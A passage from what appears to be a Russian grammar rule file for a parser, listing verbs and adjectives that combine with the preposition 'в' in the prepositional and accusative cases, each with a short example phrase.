rus_verbs:образоваться{}, // образоваться в верхних слоях атмосферы
rus_verbs:рассмотреть{}, // рассмотреть в капле воды
rus_verbs:просмотреть{}, // просмотреть в браузере
rus_verbs:учесть{}, // учесть в планах
rus_verbs:уезжать{}, // уезжать в чьей-то машине
rus_verbs:похоронить{}, // похоронить в мерзлой земле
rus_verbs:растянуться{}, // растянуться в расслабленной позе
rus_verbs:обнаружиться{}, // обнаружиться в чужой сумке
rus_verbs:гулять{}, // гулять в парке
rus_verbs:утонуть{}, // утонуть в реке
rus_verbs:зажать{}, // зажать в медвежьих объятиях
rus_verbs:усомниться{}, // усомниться в объективности
rus_verbs:танцевать{}, // танцевать в спортзале
rus_verbs:проноситься{}, // проноситься в голове
rus_verbs:трудиться{}, // трудиться в кооперативе
глагол:засыпать{ aux stress="засып^ать" переходность:непереходный }, // засыпать в спальном мешке
инфинитив:засыпать{ aux stress="засып^ать" переходность:непереходный },
rus_verbs:сушить{}, // сушить в сушильном шкафу
rus_verbs:зашевелиться{}, // зашевелиться в траве
rus_verbs:обдумывать{}, // обдумывать в спокойной обстановке
rus_verbs:промелькнуть{}, // промелькнуть в окне
rus_verbs:поучаствовать{}, // поучаствовать в обсуждении
rus_verbs:закрыть{}, // закрыть в комнате
rus_verbs:запирать{}, // запирать в комнате
rus_verbs:закрывать{}, // закрывать в доме
rus_verbs:заблокировать{}, // заблокировать в доме
rus_verbs:зацвести{}, // В садах зацвела сирень
rus_verbs:кричать{}, // Какое-то животное кричало в ночном лесу.
rus_verbs:поглотить{}, // фотон, поглощенный в рецепторе
rus_verbs:стоять{}, // войска, стоявшие в Риме
rus_verbs:закалить{}, // ветераны, закаленные в боях
rus_verbs:выступать{}, // пришлось выступать в тюрьме.
rus_verbs:выступить{}, // пришлось выступить в тюрьме.
rus_verbs:закопошиться{}, // Мыши закопошились в траве
rus_verbs:воспламениться{}, // смесь, воспламенившаяся в цилиндре
rus_verbs:воспламеняться{}, // смесь, воспламеняющаяся в цилиндре
rus_verbs:закрываться{}, // закрываться в комнате
rus_verbs:провалиться{}, // провалиться в прокате
деепричастие:авторизируясь{ вид:несоверш },
глагол:авторизироваться{ вид:несоверш },
инфинитив:авторизироваться{ вид:несоверш }, // авторизироваться в системе
rus_verbs:существовать{}, // существовать в вакууме
деепричастие:находясь{},
прилагательное:находившийся{},
прилагательное:находящийся{},
глагол:находиться{ вид:несоверш },
инфинитив:находиться{ вид:несоверш }, // находиться в вакууме
rus_verbs:регистрировать{}, // регистрировать в инспекции
глагол:перерегистрировать{ вид:несоверш }, глагол:перерегистрировать{ вид:соверш },
инфинитив:перерегистрировать{ вид:несоверш }, инфинитив:перерегистрировать{ вид:соверш }, // перерегистрировать в инспекции
rus_verbs:поковыряться{}, // поковыряться в носу
rus_verbs:оттаять{}, // оттаять в кипятке
rus_verbs:распинаться{}, // распинаться в проклятиях
rus_verbs:отменить{}, // Министерство связи предлагает отменить внутренний роуминг в России
rus_verbs:столкнуться{}, // Американский эсминец и японский танкер столкнулись в Персидском заливе
rus_verbs:ценить{}, // Он очень ценил в статьях краткость изложения.
прилагательное:несчастный{}, // Он очень несчастен в семейной жизни.
rus_verbs:объясниться{}, // Он объяснился в любви.
прилагательное:нетвердый{}, // Он нетвёрд в истории.
rus_verbs:заниматься{}, // Он занимается в читальном зале.
rus_verbs:вращаться{}, // Он вращается в учёных кругах.
прилагательное:спокойный{}, // Он был спокоен и уверен в завтрашнем дне.
rus_verbs:бегать{}, // Он бегал по городу в поисках квартиры.
rus_verbs:заключать{}, // Письмо заключало в себе очень важные сведения.
rus_verbs:срабатывать{}, // Алгоритм срабатывает в половине случаев.
rus_verbs:специализироваться{}, // мы специализируемся в создании ядерного оружия
rus_verbs:сравниться{}, // Никто не может сравниться с ним в знаниях.
rus_verbs:продолжать{}, // Продолжайте в том же духе.
rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц.
rus_verbs:болтать{}, // Не болтай в присутствии начальника!
rus_verbs:проболтаться{}, // Не проболтайся в присутствии начальника!
rus_verbs:повторить{}, // Он должен повторить свои показания в присутствии свидетелей
rus_verbs:получить{}, // ректор поздравил студентов, получивших в этом семестре повышенную стипендию
rus_verbs:приобретать{}, // Эту еду мы приобретаем в соседнем магазине.
rus_verbs:расходиться{}, // Маша и Петя расходятся во взглядах
rus_verbs:сходиться{}, // Все дороги сходятся в Москве
rus_verbs:убирать{}, // убирать в комнате
rus_verbs:удостоверяться{}, // он удостоверяется в личности специалиста
rus_verbs:уединяться{}, // уединяться в пустыне
rus_verbs:уживаться{}, // уживаться в одном коллективе
rus_verbs:укорять{}, // укорять друга в забывчивости
rus_verbs:читать{}, // он читал об этом в журнале
rus_verbs:состояться{}, // В Израиле состоятся досрочные парламентские выборы
rus_verbs:погибнуть{}, // Список погибших в авиакатастрофе под Ярославлем
rus_verbs:работать{}, // Я работаю в театре.
rus_verbs:признать{}, // Я признал в нём старого друга.
rus_verbs:преподавать{}, // Я преподаю в университете.
rus_verbs:понимать{}, // Я плохо понимаю в живописи.
rus_verbs:водиться{}, // неизвестный науке зверь, который водится в жарких тропических лесах
rus_verbs:разразиться{}, // В Москве разразилась эпидемия гриппа
rus_verbs:замереть{}, // вся толпа замерла в восхищении
rus_verbs:сидеть{}, // Я люблю сидеть в этом удобном кресле.
rus_verbs:идти{}, // Я иду в неопределённом направлении.
rus_verbs:заболеть{}, // Я заболел в дороге.
rus_verbs:ехать{}, // Я еду в автобусе
rus_verbs:взять{}, // Я взял книгу в библиотеке на неделю.
rus_verbs:провести{}, // Юные годы он провёл в Италии.
rus_verbs:вставать{}, // Этот случай живо встаёт в моей памяти.
rus_verbs:возвысить{}, // Это событие возвысило его в общественном мнении.
rus_verbs:произойти{}, // Это произошло в одном городе в Японии.
rus_verbs:привидеться{}, // Это мне привиделось во сне.
rus_verbs:держаться{}, // Это дело держится в большом секрете.
rus_verbs:привиться{}, // Это выражение не привилось в русском языке.
rus_verbs:восстановиться{}, // Эти писатели восстановились в правах.
rus_verbs:быть{}, // Эта книга есть в любом книжном магазине.
прилагательное:популярный{}, // Эта идея очень популярна в массах.
rus_verbs:шуметь{}, // Шумит в голове.
rus_verbs:остаться{}, // Шляпа осталась в поезде.
rus_verbs:выражаться{}, // Характер писателя лучше всего выражается в его произведениях.
rus_verbs:воспитать{}, // Учительница воспитала в детях любовь к природе.
rus_verbs:пересохнуть{}, // У меня в горле пересохло.
rus_verbs:щекотать{}, // У меня в горле щекочет.
rus_verbs:колоть{}, // У меня в боку колет.
прилагательное:свежий{}, // Событие ещё свежо в памяти.
rus_verbs:собрать{}, // Соберите всех учеников во дворе.
rus_verbs:белеть{}, // Снег белеет в горах.
rus_verbs:сделать{}, // Сколько орфографических ошибок ты сделал в диктанте?
rus_verbs:таять{}, // Сахар тает в кипятке.
rus_verbs:жать{}, // Сапог жмёт в подъёме.
rus_verbs:возиться{}, // Ребята возятся в углу.
rus_verbs:распоряжаться{}, // Прошу не распоряжаться в чужом доме.
rus_verbs:кружиться{}, // Они кружились в вальсе.
rus_verbs:выставлять{}, // Они выставляют его в смешном виде.
rus_verbs:бывать{}, // Она часто бывает в обществе.
rus_verbs:петь{}, // Она поёт в опере.
rus_verbs:сойтись{}, // Все свидетели сошлись в своих показаниях.
rus_verbs:валяться{}, // Вещи валялись в беспорядке.
rus_verbs:пройти{}, // Весь день прошёл в беготне.
rus_verbs:продавать{}, // В этом магазине продают обувь.
rus_verbs:заключаться{}, // В этом заключается вся сущность.
rus_verbs:звенеть{}, // В ушах звенит.
rus_verbs:проступить{}, // В тумане проступили очертания корабля.
rus_verbs:бить{}, // В саду бьёт фонтан.
rus_verbs:проскользнуть{}, // В речи проскользнул упрёк.
rus_verbs:оставить{}, // Не оставь товарища в опасности.
rus_verbs:прогулять{}, // Мы прогуляли час в парке.
rus_verbs:перебить{}, // Мы перебили врагов в бою.
rus_verbs:остановиться{}, // Мы остановились в первой попавшейся гостинице.
rus_verbs:видеть{}, // Он многое видел в жизни.
// глагол:проходить{ вид:несоверш }, // Беседа проходила в дружественной атмосфере.
rus_verbs:подать{}, // Автор подал своих героев в реалистических тонах.
rus_verbs:кинуть{}, // Он кинул меня в беде.
rus_verbs:приходить{}, // Приходи в сентябре
rus_verbs:воскрешать{}, // воскрешать в памяти
rus_verbs:соединять{}, // соединять в себе
rus_verbs:разбираться{}, // умение разбираться в вещах
rus_verbs:делать{}, // В её комнате делали обыск.
rus_verbs:воцариться{}, // В зале воцарилась глубокая тишина.
rus_verbs:начаться{}, // В деревне начались полевые работы.
rus_verbs:блеснуть{}, // В голове блеснула хорошая мысль.
rus_verbs:вертеться{}, // В голове вертится вчерашний разговор.
rus_verbs:веять{}, // В воздухе веет прохладой.
rus_verbs:висеть{}, // В воздухе висит зной.
rus_verbs:носиться{}, // В воздухе носятся комары.
rus_verbs:грести{}, // Грести в спокойной воде будет немного легче, но скучнее
rus_verbs:воскресить{}, // воскресить в памяти
rus_verbs:поплавать{}, // поплавать в 100-метровом бассейне
rus_verbs:пострадать{}, // В массовой драке пострадал 23-летний мужчина
прилагательное:уверенный{ причастие }, // Она уверена в своих силах.
прилагательное:постоянный{}, // Она постоянна во вкусах.
прилагательное:сильный{}, // Он не силён в математике.
прилагательное:повинный{}, // Он не повинен в этом.
прилагательное:возможный{}, // Ураганы, сильные грозы и даже смерчи возможны в конце периода сильной жары
rus_verbs:вывести{}, // способный летать над землей крокодил был выведен в секретной лаборатории
прилагательное:нужный{}, // сковородка тоже нужна в хозяйстве.
rus_verbs:сесть{}, // Она села в тени
rus_verbs:заливаться{}, // в нашем парке заливаются соловьи
rus_verbs:разнести{}, // В лесу огонь пожара мгновенно разнесло
rus_verbs:чувствоваться{}, // В тёплом, но сыром воздухе остро чувствовалось дыхание осени
// rus_verbs:расти{}, // дерево, растущее в лесу
rus_verbs:происходить{}, // что происходит в поликлиннике
rus_verbs:спать{}, // кто спит в моей кровати
rus_verbs:мыть{}, // мыть машину в саду
ГЛ_ИНФ(царить), // В воздухе царило безмолвие
ГЛ_ИНФ(мести), // мести в прихожей пол
ГЛ_ИНФ(прятать), // прятать в яме
ГЛ_ИНФ(увидеть), прилагательное:увидевший{}, деепричастие:увидев{}, // увидел периодическую таблицу элементов во сне.
// ГЛ_ИНФ(собраться), // собраться в порту
ГЛ_ИНФ(случиться), // что-то случилось в больнице
ГЛ_ИНФ(зажечься), // в небе зажглись звёзды
ГЛ_ИНФ(купить), // купи молока в магазине
прилагательное:пропагандировавшийся{} // группа студентов университета дружбы народов, активно пропагандировавшейся в СССР
}
// Чтобы разрешить связывание в паттернах типа: пообедать в macdonalds
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} *:*{ падеж:предл } }
then return true
}
// С локативом:
// собраться в порту
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} существительное:*{ падеж:мест } }
then return true
}
#endregion Предложный
#region Винительный
// Для глаголов движения с выраженным направлением действия может присоединяться
// предложный паттерн с винительным падежом.
wordentry_set Гл_В_Вин =
{
rus_verbs:вдавиться{}, // Дуло больно вдавилось в позвонок.
глагол:ввергнуть{}, // Двух прелестнейших дам он ввергнул в горе.
глагол:ввергать{},
инфинитив:ввергнуть{},
инфинитив:ввергать{},
rus_verbs:двинуться{}, // Двинулись в путь и мы.
rus_verbs:сплавать{}, // Сплавать в Россию!
rus_verbs:уложиться{}, // Уложиться в воскресенье.
rus_verbs:спешить{}, // Спешите в Лондон
rus_verbs:кинуть{}, // Киньте в море.
rus_verbs:проситься{}, // Просилась в Никарагуа.
rus_verbs:притопать{}, // Притопал в Будапешт.
rus_verbs:скататься{}, // Скатался в Красноярск.
rus_verbs:соскользнуть{}, // Соскользнул в пике.
rus_verbs:соскальзывать{},
rus_verbs:играть{}, // Играл в дутье.
глагол:айда{}, // Айда в каморы.
rus_verbs:отзывать{}, // Отзывали в Москву...
rus_verbs:сообщаться{}, // Сообщается в Лондон.
rus_verbs:вдуматься{}, // Вдумайтесь в них.
rus_verbs:проехать{}, // Проехать в Лунево...
rus_verbs:спрыгивать{}, // Спрыгиваем в него.
rus_verbs:верить{}, // Верю в вас!
rus_verbs:прибыть{}, // Прибыл в Подмосковье.
rus_verbs:переходить{}, // Переходите в школу.
rus_verbs:доложить{}, // Доложили в Москву.
rus_verbs:подаваться{}, // Подаваться в Россию?
rus_verbs:спрыгнуть{}, // Спрыгнул в него.
rus_verbs:вывезти{}, // Вывезли в Китай.
rus_verbs:пропихивать{}, // Я очень аккуратно пропихивал дуло в ноздрю.
rus_verbs:пропихнуть{},
rus_verbs:транспортироваться{},
rus_verbs:закрадываться{}, // в голову начали закрадываться кое-какие сомнения и подозрения
rus_verbs:дуть{},
rus_verbs:БОГАТЕТЬ{}, //
rus_verbs:РАЗБОГАТЕТЬ{}, //
rus_verbs:ВОЗРАСТАТЬ{}, //
rus_verbs:ВОЗРАСТИ{}, //
rus_verbs:ПОДНЯТЬ{}, // Он поднял половинку самолета в воздух и на всей скорости повел ее к горам. (ПОДНЯТЬ)
rus_verbs:ОТКАТИТЬСЯ{}, // Услышав за спиной дыхание, он прыгнул вперед и откатился в сторону, рассчитывая ускользнуть от врага, нападавшего сзади (ОТКАТИТЬСЯ)
rus_verbs:ВПЛЕТАТЬСЯ{}, // В общий смрад вплеталось зловонье пены, летевшей из пастей, и крови из легких (ВПЛЕТАТЬСЯ)
rus_verbs:ЗАМАНИТЬ{}, // Они подумали, что Павел пытается заманить их в зону обстрела. (ЗАМАНИТЬ,ЗАМАНИВАТЬ)
rus_verbs:ЗАМАНИВАТЬ{},
rus_verbs:ПРОТРУБИТЬ{}, // Эти врата откроются, когда он протрубит в рог, и пропустят его в другую вселенную. (ПРОТРУБИТЬ)
rus_verbs:ВРУБИТЬСЯ{}, // Клинок сломался, не врубившись в металл. (ВРУБИТЬСЯ/ВРУБАТЬСЯ)
rus_verbs:ВРУБАТЬСЯ{},
rus_verbs:ОТПРАВИТЬ{}, // Мы ищем благородного вельможу, который нанял бы нас или отправил в рыцарский поиск. (ОТПРАВИТЬ)
rus_verbs:ОБЛАЧИТЬ{}, // Этот был облачен в сверкавшие красные доспехи с опущенным забралом и держал огромное копье, дожидаясь своей очереди. (ОБЛАЧИТЬ/ОБЛАЧАТЬ/ОБЛАЧИТЬСЯ/ОБЛАЧАТЬСЯ/НАРЯДИТЬСЯ/НАРЯЖАТЬСЯ)
rus_verbs:ОБЛАЧАТЬ{},
rus_verbs:ОБЛАЧИТЬСЯ{},
rus_verbs:ОБЛАЧАТЬСЯ{},
rus_verbs:НАРЯДИТЬСЯ{},
rus_verbs:НАРЯЖАТЬСЯ{},
rus_verbs:ЗАХВАТИТЬ{}, // Кроме набранного рабского материала обычного типа, он захватил в плен группу очень странных созданий, а также женщину исключительной красоты (ЗАХВАТИТЬ/ЗАХВАТЫВАТЬ/ЗАХВАТ)
rus_verbs:ЗАХВАТЫВАТЬ{},
rus_verbs:ПРОВЕСТИ{}, // Он провел их в маленькое святилище позади штурвала. (ПРОВЕСТИ)
rus_verbs:ПОЙМАТЬ{}, // Их можно поймать в ловушку (ПОЙМАТЬ)
rus_verbs:СТРОИТЬСЯ{}, // На вершине они остановились, строясь в круг. (СТРОИТЬСЯ,ПОСТРОИТЬСЯ,ВЫСТРОИТЬСЯ)
rus_verbs:ПОСТРОИТЬСЯ{},
rus_verbs:ВЫСТРОИТЬСЯ{},
rus_verbs:ВЫПУСТИТЬ{}, // Несколько стрел, выпущенных в преследуемых, вонзились в траву (ВЫПУСТИТЬ/ВЫПУСКАТЬ)
rus_verbs:ВЫПУСКАТЬ{},
rus_verbs:ВЦЕПЛЯТЬСЯ{}, // Они вцепляются тебе в горло. (ВЦЕПЛЯТЬСЯ/ВЦЕПИТЬСЯ)
rus_verbs:ВЦЕПИТЬСЯ{},
rus_verbs:ПАЛЬНУТЬ{}, // Вольф вставил в тетиву новую стрелу и пальнул в белое брюхо (ПАЛЬНУТЬ)
rus_verbs:ОТСТУПИТЬ{}, // Вольф отступил в щель. (ОТСТУПИТЬ/ОТСТУПАТЬ)
rus_verbs:ОТСТУПАТЬ{},
rus_verbs:КРИКНУТЬ{}, // Вольф крикнул в ответ и медленно отступил от птицы. (КРИКНУТЬ)
rus_verbs:ДЫХНУТЬ{}, // В лицо ему дыхнули винным перегаром. (ДЫХНУТЬ)
rus_verbs:ПОТРУБИТЬ{}, // Я видел рог во время своих скитаний по дворцу и даже потрубил в него (ПОТРУБИТЬ)
rus_verbs:ОТКРЫВАТЬСЯ{}, // Некоторые врата открывались в другие вселенные (ОТКРЫВАТЬСЯ)
rus_verbs:ТРУБИТЬ{}, // А я трубил в рог (ТРУБИТЬ)
rus_verbs:ПЫРНУТЬ{}, // Вольф пырнул его в бок. (ПЫРНУТЬ)
rus_verbs:ПРОСКРЕЖЕТАТЬ{}, // Тот что-то проскрежетал в ответ, а затем наорал на него. (ПРОСКРЕЖЕТАТЬ В вин, НАОРАТЬ НА вин)
rus_verbs:ИМПОРТИРОВАТЬ{}, // импортировать товары двойного применения только в Российскую Федерацию (ИМПОРТИРОВАТЬ)
rus_verbs:ОТЪЕХАТЬ{}, // Легкий грохот катков заглушил рог, когда дверь отъехала в сторону. (ОТЪЕХАТЬ)
rus_verbs:ПОПЛЕСТИСЬ{}, // Подобрав нижнее белье, носки и ботинки, он поплелся по песку обратно в джунгли. (ПОПЛЕЛСЯ)
rus_verbs:СЖАТЬСЯ{}, // Желудок у него сжался в кулак. (СЖАТЬСЯ, СЖИМАТЬСЯ)
rus_verbs:СЖИМАТЬСЯ{},
rus_verbs:проверять{}, // Школьников будут принудительно проверять на курение
rus_verbs:ПОТЯНУТЬ{}, // Я потянул его в кино (ПОТЯНУТЬ)
rus_verbs:ПЕРЕВЕСТИ{}, // Премьер-министр Казахстана поручил до конца года перевести все социально-значимые услуги в электронный вид (ПЕРЕВЕСТИ)
rus_verbs:КРАСИТЬ{}, // Почему китайские партийные боссы красят волосы в черный цвет? (КРАСИТЬ/ПОКРАСИТЬ/ПЕРЕКРАСИТЬ/ОКРАСИТЬ/ЗАКРАСИТЬ)
rus_verbs:ПОКРАСИТЬ{}, //
rus_verbs:ПЕРЕКРАСИТЬ{}, //
rus_verbs:ОКРАСИТЬ{}, //
rus_verbs:ЗАКРАСИТЬ{}, //
rus_verbs:СООБЩИТЬ{}, // Мужчина ранил человека в щеку и сам сообщил об этом в полицию (СООБЩИТЬ)
rus_verbs:СТЯГИВАТЬ{}, // Но толщина пузыря постоянно меняется из-за гравитации, которая стягивает жидкость в нижнюю часть (СТЯГИВАТЬ/СТЯНУТЬ/ЗАТЯНУТЬ/ВТЯНУТЬ)
rus_verbs:СТЯНУТЬ{}, //
rus_verbs:ЗАТЯНУТЬ{}, //
rus_verbs:ВТЯНУТЬ{}, //
rus_verbs:СОХРАНИТЬ{}, // сохранить данные в файл (СОХРАНИТЬ)
деепричастие:придя{}, // Немного придя в себя
rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал
rus_verbs:УЛЫБАТЬСЯ{}, // она улыбалась во весь рот (УЛЫБАТЬСЯ)
rus_verbs:МЕТНУТЬСЯ{}, // она метнулась обратно во тьму (МЕТНУТЬСЯ)
rus_verbs:ПОСЛЕДОВАТЬ{}, // большинство жителей города последовало за ним во дворец (ПОСЛЕДОВАТЬ)
rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, // экстремисты перемещаются из лесов в Сеть (ПЕРЕМЕЩАТЬСЯ)
rus_verbs:ВЫТАЩИТЬ{}, // Алексей позволил вытащить себя через дверь во тьму (ВЫТАЩИТЬ)
rus_verbs:СЫПАТЬСЯ{}, // внизу под ними камни градом сыпались во двор (СЫПАТЬСЯ)
rus_verbs:выезжать{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку
rus_verbs:КРИЧАТЬ{}, // ей хотелось кричать во весь голос (КРИЧАТЬ В вин)
rus_verbs:ВЫПРЯМИТЬСЯ{}, // волк выпрямился во весь огромный рост (ВЫПРЯМИТЬСЯ В вин)
rus_verbs:спрятать{}, // Джон спрятал очки во внутренний карман (спрятать в вин)
rus_verbs:ЭКСТРАДИРОВАТЬ{}, // Украина экстрадирует в Таджикистан задержанного бывшего премьер-министра (ЭКСТРАДИРОВАТЬ В вин)
rus_verbs:ВВОЗИТЬ{}, // лабораторный мониторинг ввозимой в Россию мясной продукции из США (ВВОЗИТЬ В вин)
rus_verbs:УПАКОВАТЬ{}, // упакованных в несколько слоев полиэтилена (УПАКОВАТЬ В вин)
rus_verbs:ОТТЯГИВАТЬ{}, // использовать естественную силу гравитации, оттягивая объекты в сторону и изменяя их орбиту (ОТТЯГИВАТЬ В вин)
rus_verbs:ПОЗВОНИТЬ{}, // они позвонили в отдел экологии городской администрации (ПОЗВОНИТЬ В)
rus_verbs:ПРИВЛЕЧЬ{}, // Открытость данных о лесе поможет привлечь инвестиции в отрасль (ПРИВЛЕЧЬ В)
rus_verbs:ЗАПРОСИТЬСЯ{}, // набегавшись и наплясавшись, Стасик утомился и запросился в кроватку (ЗАПРОСИТЬСЯ В)
rus_verbs:ОТСТАВИТЬ{}, // бутыль с ацетоном Витька отставил в сторонку (ОТСТАВИТЬ В)
rus_verbs:ИСПОЛЬЗОВАТЬ{}, // ты использовал свою магию во зло. (ИСПОЛЬЗОВАТЬ В вин)
rus_verbs:ВЫСЕВАТЬ{}, // В апреле редис возможно уже высевать в грунт (ВЫСЕВАТЬ В)
rus_verbs:ЗАГНАТЬ{}, // Американский психолог загнал любовь в три угла (ЗАГНАТЬ В)
rus_verbs:ЭВОЛЮЦИОНИРОВАТЬ{}, // Почему не все обезьяны эволюционировали в человека? (ЭВОЛЮЦИОНИРОВАТЬ В вин)
rus_verbs:СФОТОГРАФИРОВАТЬСЯ{}, // Он сфотографировался во весь рост. (СФОТОГРАФИРОВАТЬСЯ В)
rus_verbs:СТАВИТЬ{}, // Он ставит мне в упрёк свою ошибку. (СТАВИТЬ В)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
rus_verbs:ПЕРЕСЕЛЯТЬСЯ{}, // Греки переселяются в Германию (ПЕРЕСЕЛЯТЬСЯ В)
rus_verbs:ФОРМИРОВАТЬСЯ{}, // Сахарная свекла относится к двулетним растениям, мясистый корнеплод формируется в первый год. (ФОРМИРОВАТЬСЯ В)
rus_verbs:ПРОВОРЧАТЬ{}, // дедуля что-то проворчал в ответ (ПРОВОРЧАТЬ В)
rus_verbs:БУРКНУТЬ{}, // нелюдимый парень что-то буркнул в ответ (БУРКНУТЬ В)
rus_verbs:ВЕСТИ{}, // дверь вела во тьму. (ВЕСТИ В)
rus_verbs:ВЫСКОЧИТЬ{}, // беглецы выскочили во двор. (ВЫСКОЧИТЬ В)
rus_verbs:ДОСЫЛАТЬ{}, // Одним движением стрелок досылает патрон в ствол (ДОСЫЛАТЬ В)
rus_verbs:СЪЕХАТЬСЯ{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В)
rus_verbs:ВЫТЯНУТЬ{}, // Дым вытянуло в трубу. (ВЫТЯНУТЬ В)
rus_verbs:торчать{}, // острые обломки бревен торчали во все стороны.
rus_verbs:ОГЛЯДЫВАТЬ{}, // Она оглядывает себя в зеркало. (ОГЛЯДЫВАТЬ В)
rus_verbs:ДЕЙСТВОВАТЬ{}, // Этот пакет законов действует в ущерб частным предпринимателям.
rus_verbs:РАЗЛЕТЕТЬСЯ{}, // люди разлетелись во все стороны. (РАЗЛЕТЕТЬСЯ В)
rus_verbs:брызнуть{}, // во все стороны брызнула кровь. (брызнуть в)
rus_verbs:ТЯНУТЬСЯ{}, // провода тянулись во все углы. (ТЯНУТЬСЯ В)
rus_verbs:валить{}, // валить все в одну кучу (валить в)
rus_verbs:выдвинуть{}, // его выдвинули в палату представителей (выдвинуть в)
rus_verbs:карабкаться{}, // карабкаться в гору (карабкаться в)
rus_verbs:клониться{}, // он клонился в сторону (клониться в)
rus_verbs:командировать{}, // мы командировали нашего представителя в Рим (командировать в)
rus_verbs:запасть{}, // Эти слова запали мне в душу.
rus_verbs:давать{}, // В этой лавке дают в долг?
rus_verbs:ездить{}, // Каждый день грузовик ездит в город.
rus_verbs:претвориться{}, // Замысел претворился в жизнь.
rus_verbs:разойтись{}, // Они разошлись в разные стороны.
rus_verbs:выйти{}, // Охотник вышел в поле с ружьём.
rus_verbs:отозвать{}, // Отзовите его в сторону и скажите ему об этом.
rus_verbs:расходиться{}, // Маша и Петя расходятся в разные стороны
rus_verbs:переодеваться{}, // переодеваться в женское платье
rus_verbs:перерастать{}, // перерастать в массовые беспорядки
rus_verbs:завязываться{}, // завязываться в узел
rus_verbs:похватать{}, // похватать в руки
rus_verbs:увлечь{}, // увлечь в прогулку по парку
rus_verbs:помещать{}, // помещать в изолятор
rus_verbs:зыркнуть{}, // зыркнуть в окошко
rus_verbs:закатать{}, // закатать в асфальт
rus_verbs:усаживаться{}, // усаживаться в кресло
rus_verbs:загонять{}, // загонять в сарай
rus_verbs:подбрасывать{}, // подбрасывать в воздух
rus_verbs:телеграфировать{}, // телеграфировать в центр
rus_verbs:вязать{}, // вязать в стопы
rus_verbs:подлить{}, // подлить в огонь
rus_verbs:заполучить{}, // заполучить в распоряжение
rus_verbs:подогнать{}, // подогнать в док
rus_verbs:ломиться{}, // ломиться в открытую дверь
rus_verbs:переправить{}, // переправить в деревню
rus_verbs:затягиваться{}, // затягиваться в трубу
rus_verbs:разлетаться{}, // разлетаться в стороны
rus_verbs:кланяться{}, // кланяться в ножки
rus_verbs:устремляться{}, // устремляться в открытое море
rus_verbs:переместиться{}, // переместиться в другую аудиторию
rus_verbs:ложить{}, // ложить в ящик
rus_verbs:отвозить{}, // отвозить в аэропорт
rus_verbs:напрашиваться{}, // напрашиваться в гости
rus_verbs:напроситься{}, // напроситься в гости
rus_verbs:нагрянуть{}, // нагрянуть в гости
rus_verbs:заворачивать{}, // заворачивать в фольгу
rus_verbs:заковать{}, // заковать в кандалы
rus_verbs:свезти{}, // свезти в сарай
rus_verbs:притащиться{}, // притащиться в дом
rus_verbs:завербовать{}, // завербовать в разведку
rus_verbs:рубиться{}, // рубиться в компьютерные игры
rus_verbs:тыкаться{}, // тыкаться в материнскую грудь
инфинитив:ссыпать{ вид:несоверш }, инфинитив:ссыпать{ вид:соверш }, // ссыпать в контейнер
глагол:ссыпать{ вид:несоверш }, глагол:ссыпать{ вид:соверш },
деепричастие:ссыпав{}, деепричастие:ссыпая{},
rus_verbs:засасывать{}, // засасывать в себя
rus_verbs:скакнуть{}, // скакнуть в будущее
rus_verbs:подвозить{}, // подвозить в театр
rus_verbs:переиграть{}, // переиграть в покер
rus_verbs:мобилизовать{}, // мобилизовать в действующую армию
rus_verbs:залетать{}, // залетать в закрытое воздушное пространство
rus_verbs:подышать{}, // подышать в трубочку
rus_verbs:смотаться{}, // смотаться в институт
rus_verbs:рассовать{}, // рассовать в кармашки
rus_verbs:захаживать{}, // захаживать в дом
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять в ломбард
деепричастие:сгоняя{},
rus_verbs:посылаться{}, // посылаться в порт
rus_verbs:отлить{}, // отлить в кастрюлю
rus_verbs:преобразоваться{}, // преобразоваться в линейное уравнение
rus_verbs:поплакать{}, // поплакать в платочек
rus_verbs:обуться{}, // обуться в сапоги
rus_verbs:закапать{}, // закапать в глаза
инфинитив:свозить{ вид:несоверш }, инфинитив:свозить{ вид:соверш }, // свозить в центр утилизации
глагол:свозить{ вид:несоверш }, глагол:свозить{ вид:соверш },
деепричастие:свозив{}, деепричастие:свозя{},
rus_verbs:преобразовать{}, // преобразовать в линейное уравнение
rus_verbs:кутаться{}, // кутаться в плед
rus_verbs:смещаться{}, // смещаться в сторону
rus_verbs:зазывать{}, // зазывать в свой магазин
инфинитив:трансформироваться{ вид:несоверш }, инфинитив:трансформироваться{ вид:соверш }, // трансформироваться в комбинезон
глагол:трансформироваться{ вид:несоверш }, глагол:трансформироваться{ вид:соверш },
деепричастие:трансформируясь{}, деепричастие:трансформировавшись{},
rus_verbs:погружать{}, // погружать в кипящее масло
rus_verbs:обыграть{}, // обыграть в теннис
rus_verbs:закутать{}, // закутать в одеяло
rus_verbs:изливаться{}, // изливаться в воду
rus_verbs:закатывать{}, // закатывать в асфальт
rus_verbs:мотнуться{}, // мотнуться в банк
rus_verbs:избираться{}, // избираться в сенат
rus_verbs:наниматься{}, // наниматься в услужение
rus_verbs:настучать{}, // настучать в органы
rus_verbs:запихивать{}, // запихивать в печку
rus_verbs:закапывать{}, // закапывать в нос
rus_verbs:засобираться{}, // засобираться в поход
rus_verbs:копировать{}, // копировать в другую папку
rus_verbs:замуровать{}, // замуровать в стену
rus_verbs:упечь{}, // упечь в тюрьму
rus_verbs:зрить{}, // зрить в корень
rus_verbs:стягиваться{}, // стягиваться в одну точку
rus_verbs:усаживать{}, // усаживать в тренажер
rus_verbs:протолкнуть{}, // протолкнуть в отверстие
rus_verbs:расшибиться{}, // расшибиться в лепешку
rus_verbs:приглашаться{}, // приглашаться в кабинет
rus_verbs:садить{}, // садить в телегу
rus_verbs:уткнуть{}, // уткнуть в подушку
rus_verbs:протечь{}, // протечь в подвал
rus_verbs:перегнать{}, // перегнать в другую страну
rus_verbs:переползти{}, // переползти в тень
rus_verbs:зарываться{}, // зарываться в грунт
rus_verbs:переодеть{}, // переодеть в сухую одежду
rus_verbs:припуститься{}, // припуститься в пляс
rus_verbs:лопотать{}, // лопотать в микрофон
